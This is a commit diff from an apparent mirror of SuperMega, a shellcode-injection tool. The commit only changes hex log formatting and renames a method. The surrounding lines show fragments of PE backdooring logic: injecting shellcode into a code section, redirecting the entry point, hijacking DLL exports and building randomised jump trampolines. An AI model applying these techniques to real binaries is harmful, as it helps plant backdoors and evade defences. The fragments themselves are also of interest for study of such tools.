admin/SuperMega
1
0
Fork 0
mirror of https://github.com/dobin/SuperMega synced 2026-06-02 17:27:10 +00:00
Code Issues Packages Projects Releases Wiki Activity

refactor: :x -> :X

Browse Source
This commit is contained in:
Dobin
2024-03-04 18:32:41 +00:00
parent 9a9297e150
commit dacef30bb0
6 changed files with 23 additions and 18 deletions
Download Patch File Download Diff File Expand all files Collapse all files
pe/derbackdoorer.py
+7 -7
View File
@@ -46,7 +46,7 @@ Code section size : {sect_size}
''')
offset = int((sect_size - len(self.shellcodeData)) / 2)
logger.debug(f'Inserting shellcode into 0x{offset:x} offset.')
logger.debug(f'Inserting shellcode into 0x{offset:X} offset.')
self.superpe.pe.set_bytes_at_offset(offset, self.shellcodeData)
self.shellcodeOffset = offset
@@ -66,7 +66,7 @@ Trailing {sect_name} bytes:
{hexdump(self.superpe.pe.get_data(self.superpe.pe.get_rva_from_offset(p)), p, 64)}
''', '\t')
logger.info(f'Shellcode injected into existing code section at RVA 0x{rva:x}')
logger.info(f'Shellcode injected into existing code section at RVA 0x{rva:X}')
logger.debug(graph)
return True
@@ -76,7 +76,7 @@ Trailing {sect_name} bytes:
rva = self.superpe.pe.get_rva_from_offset(self.shellcodeOffset)
self.superpe.set_entrypoint(rva)
logger.info(f'Address Of Entry Point changed to: RVA 0x{rva:x}')
logger.info(f'Address Of Entry Point changed to: RVA 0x{rva:X}')
return True
elif self.runMode == InjectStyle.BackdoorCallInstr:
@@ -114,7 +114,7 @@ Trailing {sect_name} bytes:
if export[1].lower() == exportName.lower():
addr = self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
logger.info(f'Found DLL Export "{exportName}" at RVA 0x{addr:x} . Attempting to hijack it...')
logger.info(f'Found DLL Export "{exportName}" at RVA 0x{addr:X} . Attempting to hijack it...')
return addr
return -1
@@ -188,7 +188,7 @@ Trailing {sect_name} bytes:
while reg2 == reg:
reg2 = random.choice(registers).upper()
enc, count = ks.asm(f'MOV {reg}, 0x{self.shellcodeAddr:x}')
enc, count = ks.asm(f'MOV {reg}, 0x{self.shellcodeAddr:X}')
for instr2 in cs.disasm(bytes(enc), 0):
addrOffset = len(instr2.bytes) - instr2.addr_size
break
@@ -197,7 +197,7 @@ Trailing {sect_name} bytes:
found |= instr.mnemonic.lower() == 'call'
if found:
logger.info(f'Backdooring entry point {instr.mnemonic.upper()} instruction at 0x{instr.address:x} into:')
logger.info(f'Backdooring entry point {instr.mnemonic.upper()} instruction at 0x{instr.address:X} into:')
jump = random.choice([
f'CALL {reg}',
@@ -211,7 +211,7 @@ Trailing {sect_name} bytes:
#f'PUSH {reg} ; RET',
])
trampoline = f'MOV {reg}, 0x{self.shellcodeAddr:x} ; {jump}'
trampoline = f'MOV {reg}, 0x{self.shellcodeAddr:X} ; {jump}'
for ins in trampoline.split(';'):
logger.info(f'\t{ins.strip()}')
pe/superpe.py
+5 -5
View File
@@ -161,7 +161,7 @@ class SuperPe():
# SizeOfBlock
self.pe.set_dword_at_rva(addr + relocsSize + 4, sizeOfReloc)
logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:x} - size of block: 0x{sizeOfReloc:x}')
logger.info(f'Adding {len(relocs)} relocations for Page RVA 0x{pageRva:X} - size of block: 0x{sizeOfReloc:X}')
i = 0
for reloc in relocs:
@@ -170,7 +170,7 @@ class SuperPe():
relocWord = (reloc_type | reloc_offset)
self.pe.set_word_at_rva(relocDirRva + relocsSize + 8 + i * 2, relocWord)
logger.info(f'\tReloc{i} for addr 0x{reloc:x}: 0x{relocWord:x} - 0x{reloc_offset:x} - type: {imageBaseRelocType}')
logger.info(f'\tReloc{i} for addr 0x{reloc:X}: 0x{relocWord:X} - 0x{reloc_offset:X} - type: {imageBaseRelocType}')
i += 1
@@ -183,9 +183,9 @@ class SuperPe():
self.pe.OPTIONAL_HEADER.AddressOfEntryPoint = entrypoint
def write(self, outfile: str):
def write_pe_to_file(self, outfile: str):
self.pe.write(outfile)
def disasmBytes(self, cs, ks, disasmData, startOffset, length, callback = None, maxDepth = 5):
return self._disasmBytes(cs, ks, disasmData, startOffset, length, callback, maxDepth, 1)
@@ -213,7 +213,7 @@ class SuperPe():
operand = instr.operands[0]
if operand.type == capstone.CS_OP_IMM:
logger.debug('\t' * (depth+1) + f' -> OP_IMM: 0x{operand.value.imm:x}')
logger.debug('\t' * (depth+1) + f' -> OP_IMM: 0x{operand.value.imm:X}')
logger.debug('')
if callback: